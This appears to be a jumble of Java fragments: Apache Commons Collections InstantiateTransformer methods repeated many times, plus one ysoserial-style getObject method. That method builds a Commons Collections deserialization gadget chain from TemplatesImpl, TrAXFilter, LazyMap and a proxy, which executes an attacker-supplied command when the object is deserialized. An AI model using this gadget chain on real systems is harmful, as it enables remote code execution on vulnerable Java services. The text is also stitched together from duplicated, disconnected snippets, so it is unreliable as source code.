/** * Transformer method that performs validation. * * @param paramTypes the constructor parameter types * @param args the constructor arguments * @return an instantiate transformer */ public static Transformer getInstance(Class[] paramTypes, Object[] args) { if (((paramTypes == null) && (args != null)) || ((paramTypes != null) && (args == null)) || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) { throw new IllegalArgumentException("Parameter types must match the arguments"); } if (paramTypes == null || paramTypes.length == 0) { return NO_ARG_INSTANCE; } else { paramTypes = (Class[]) paramTypes.clone(); args = (Object[]) args.clone(); } return new InstantiateTransformer(paramTypes, args); }
/** * Creates a Transformer that expects an input Class object that it will * instantiate. The constructor used is determined by the arguments specified * to this method. * * @see org.apache.commons.collections.functors.InstantiateTransformer * * @param paramTypes parameter types for the constructor, can be null * @param args the arguments to pass to the constructor, can be null * @return the transformer * @throws IllegalArgumentException if the paramTypes and args don't match */ public static Transformer instantiateTransformer(Class[] paramTypes, Object[] args) { return InstantiateTransformer.getInstance(paramTypes, args); }
public Object makeObject() { return new InstantiateTransformer(new Class[0], new Object[0]); }
/** * Creates a Transformer that expects an input Class object that it will * instantiate. The constructor used is determined by the arguments specified * to this method. * * @see org.apache.commons.collections.functors.InstantiateTransformer * * @param paramTypes parameter types for the constructor, can be null * @param args the arguments to pass to the constructor, can be null * @return the transformer * @throws IllegalArgumentException if the paramTypes and args don't match */ public static Transformer instantiateTransformer(Class[] paramTypes, Object[] args) { return InstantiateTransformer.getInstance(paramTypes, args); }
/** * Transformer method that performs validation. * * @param paramTypes the constructor parameter types * @param args the constructor arguments * @return an instantiate transformer */ public static Transformer getInstance(Class[] paramTypes, Object[] args) { if (((paramTypes == null) && (args != null)) || ((paramTypes != null) && (args == null)) || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) { throw new IllegalArgumentException("Parameter types must match the arguments"); } if (paramTypes == null || paramTypes.length == 0) { return NO_ARG_INSTANCE; } else { paramTypes = (Class[]) paramTypes.clone(); args = (Object[]) args.clone(); } return new InstantiateTransformer(paramTypes, args); }
/** * Creates a Transformer that expects an input Class object that it will * instantiate. The constructor used is determined by the arguments specified * to this method. * * @see org.apache.commons.collections.functors.InstantiateTransformer * * @param paramTypes parameter types for the constructor, can be null * @param args the arguments to pass to the constructor, can be null * @return the transformer * @throws IllegalArgumentException if the paramTypes and args don't match */ public static Transformer instantiateTransformer(Class[] paramTypes, Object[] args) { return InstantiateTransformer.getInstance(paramTypes, args); }
public Object getObject(final String command) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )}; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; }
/** * Creates a Transformer that expects an input Class object that it will * instantiate. The constructor used is determined by the arguments specified * to this method. * * @see org.apache.commons.collections.functors.InstantiateTransformer * * @param paramTypes parameter types for the constructor, can be null * @param args the arguments to pass to the constructor, can be null * @return the transformer * @throws IllegalArgumentException if the paramTypes and args don't match */ public static Transformer instantiateTransformer(Class[] paramTypes, Object[] args) { return InstantiateTransformer.getInstance(paramTypes, args); }
/** * Transformer method that performs validation. * * @param paramTypes the constructor parameter types * @param args the constructor arguments * @return an instantiate transformer */ public static Transformer getInstance(Class[] paramTypes, Object[] args) { if (((paramTypes == null) && (args != null)) || ((paramTypes != null) && (args == null)) || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) { throw new IllegalArgumentException("Parameter types must match the arguments"); } if (paramTypes == null || paramTypes.length == 0) { return NO_ARG_INSTANCE; } else { paramTypes = (Class[]) paramTypes.clone(); args = (Object[]) args.clone(); } return new InstantiateTransformer(paramTypes, args); }
/** * Creates a Transformer that expects an input Class object that it will * instantiate. The constructor used is determined by the arguments specified * to this method. * * @see org.apache.commons.collections.functors.InstantiateTransformer * * @param paramTypes parameter types for the constructor, can be null * @param args the arguments to pass to the constructor, can be null * @return the transformer * @throws IllegalArgumentException if the paramTypes and args don't match */ public static Transformer instantiateTransformer(Class[] paramTypes, Object[] args) { return InstantiateTransformer.getInstance(paramTypes, args); }
/** * Transformer method that performs validation. * * @param paramTypes the constructor parameter types * @param args the constructor arguments * @return an instantiate transformer */ public static Transformer getInstance(Class[] paramTypes, Object[] args) { if (((paramTypes == null) && (args != null)) || ((paramTypes != null) && (args == null)) || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) { throw new IllegalArgumentException("Parameter types must match the arguments"); } if (paramTypes == null || paramTypes.length == 0) { return NO_ARG_INSTANCE; } else { paramTypes = (Class[]) paramTypes.clone(); args = (Object[]) args.clone(); } return new InstantiateTransformer(paramTypes, args); }
/** * Creates a Transformer that expects an input Class object that it will * instantiate. The constructor used is determined by the arguments specified * to this method. * * @see org.apache.commons.collections.functors.InstantiateTransformer * * @param paramTypes parameter types for the constructor, can be null * @param args the arguments to pass to the constructor, can be null * @return the transformer * @throws IllegalArgumentException if the paramTypes and args don't match */ public static Transformer instantiateTransformer(Class[] paramTypes, Object[] args) { return InstantiateTransformer.getInstance(paramTypes, args); }
/** * Transformer method that performs validation. * * @param paramTypes the constructor parameter types * @param args the constructor arguments * @return an instantiate transformer */ public static Transformer getInstance(Class[] paramTypes, Object[] args) { if (((paramTypes == null) && (args != null)) || ((paramTypes != null) && (args == null)) || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) { throw new IllegalArgumentException("Parameter types must match the arguments"); } if (paramTypes == null || paramTypes.length == 0) { return NO_ARG_INSTANCE; } else { paramTypes = (Class[]) paramTypes.clone(); args = (Object[]) args.clone(); } return new InstantiateTransformer(paramTypes, args); }
/** * Creates a Transformer that expects an input Class object that it will * instantiate. The constructor used is determined by the arguments specified * to this method. * * @see org.apache.commons.collections.functors.InstantiateTransformer * * @param paramTypes parameter types for the constructor, can be null * @param args the arguments to pass to the constructor, can be null * @return the transformer * @throws IllegalArgumentException if the paramTypes and args don't match */ public static Transformer instantiateTransformer(Class[] paramTypes, Object[] args) { return InstantiateTransformer.getInstance(paramTypes, args); }
/** * Transformer method that performs validation. * * @param paramTypes the constructor parameter types * @param args the constructor arguments * @return an instantiate transformer */ public static Transformer getInstance(Class[] paramTypes, Object[] args) { if (((paramTypes == null) && (args != null)) || ((paramTypes != null) && (args == null)) || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) { throw new IllegalArgumentException("Parameter types must match the arguments"); } if (paramTypes == null || paramTypes.length == 0) { return NO_ARG_INSTANCE; } else { paramTypes = (Class[]) paramTypes.clone(); args = (Object[]) args.clone(); } return new InstantiateTransformer(paramTypes, args); }
/** * Transformer method that performs validation. * * @param paramTypes the constructor parameter types * @param args the constructor arguments * @return an instantiate transformer */ public static Transformer getInstance(Class[] paramTypes, Object[] args) { if (((paramTypes == null) && (args != null)) || ((paramTypes != null) && (args == null)) || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) { throw new IllegalArgumentException("Parameter types must match the arguments"); } if (paramTypes == null || paramTypes.length == 0) { return NO_ARG_INSTANCE; } else { paramTypes = (Class[]) paramTypes.clone(); args = (Object[]) args.clone(); } return new InstantiateTransformer(paramTypes, args); }